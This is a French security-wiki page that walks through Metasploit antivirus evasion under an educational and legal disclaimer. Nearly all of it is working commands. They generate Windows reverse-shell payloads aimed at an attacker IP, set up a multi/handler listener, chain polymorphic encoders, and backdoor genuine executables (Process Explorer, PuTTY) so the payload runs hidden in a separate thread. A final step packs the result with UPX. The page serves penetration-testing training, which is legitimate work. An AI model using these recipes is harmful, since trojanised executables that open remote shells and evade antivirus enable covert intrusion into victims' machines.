Anonymat metasploit

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Fiche express
Domaine Évasion antivirus / encodage
Outils msfpayload, msfencode, msfvenom
Contexte Metasploit
Voir aussi Msfencode · Msfpayload

Contournement des antivirus lors de la génération d'un payload : les moteurs de détection reconnaissent les charges Metasploit standard. On combine encodage, gabarits d'exécutables et packers pour en modifier la signature.

Création de payload

# forme brute
msfpayload windows/shell_reverse_tcp 0

# exécutable portable (PE) Windows
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=31337 X > /var/www/payload1.exe

Mise en écoute d'un handler dans la msfconsole :

msf> use exploit/multi/handler
msf> set PAYLOAD windows/shell_reverse_tcp
msf> set LHOST 192.168.1.100
msf> set LPORT 31337

Encodage face à l'antivirus

Un payload brut est détecté comme virus. On l'encode via msfencode :

msfencode -l
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=31337 R | \
  msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe

R produit une sortie brute (raw). L'encodeur shikata_ga_nai est polymorphe : sa signature change à chaque encodage, mais les AV peuvent tout de même le détecter de façon aléatoire.

Multi-encodage par itérations successives (-c) et chaînage d'encodeurs :

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=31337 R | \
  msfencode -e x86/shikata_ga_nai -c 5 -t raw | \
  msfencode -e x86/alpha_upper -c 2 -t raw | \
  msfencode -e x86/shikata_ga_nai -c 5 -t raw | \
  msfencode -e x86/countdown -c 5 -t exe > /var/www/payload3.exe

Gabarit d'exécutable personnalisé

Le moteur d'encodage utilise par défaut le gabarit data/templates/template.exe, lui-même surveillé. On peut fournir son propre exécutable hôte (-x) pour ne plus exposer cette signature :

wget http://download.sysinternals.com/Files/ProcessExplorer.zip
unzip ProcessExplorer.zip
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.100 LPORT=8080 R | \
  msfencode -t exe -x work/procexp.exe -o /var/www/pe_backdoor.exe -e x86/shikata_ga_nai -c 5
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.0.100 LPORT=8080 E

Lancement furtif

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.100 LPORT=8080 R | \
  msfencode -t exe -x putty.exe -o /var/www/putty_backdoored.exe -e x86/shikata_ga_nai -k -c 5

L'option -k lance le payload dans un thread séparé. Attention aux applications graphiques, qui ne se ferment pas si l'option n'est pas présente.

Les packers

Les packers compressent et chiffrent un exécutable, transformant sa signature :

apt-get install upx
upx -5 /var/www/payload3.exe

msfvenom

msfvenom unifie msfpayload et msfencode en un seul utilitaire pour l'ensemble des opérations décrites ci-dessus.

Voir aussi